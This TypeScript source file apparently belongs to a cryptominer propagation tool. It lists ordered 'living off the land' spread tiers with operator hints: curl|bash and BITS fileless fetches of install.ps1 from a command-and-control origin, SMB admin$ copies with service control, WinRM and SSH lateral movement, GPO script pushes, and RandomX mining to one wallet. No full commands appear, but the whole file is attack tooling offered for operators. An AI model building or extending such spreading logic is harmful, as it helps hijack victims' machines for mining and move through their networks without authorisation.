/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */

export const DEFAULT_LOTL_ONION_TIERS = [
  'docker',
  'wsl',
  'powershell',
  'dotnet',
  'bits_curl',
  'smb',
  'winrm',
  'linux',
  'gpo',
] as const;

export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];

export interface LotlOnionTierDoc {
  id: LotlOnionTierId;
  label: string;
  /** One-line operator hint for playbook tabs */
  hint: string;
}

export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
  { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
  { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
  { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
  { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
  { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
  { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
  { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
  { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
  { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
];

export function lotlTierDocUrl(tier: LotlOnionTierId): string {
  return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
}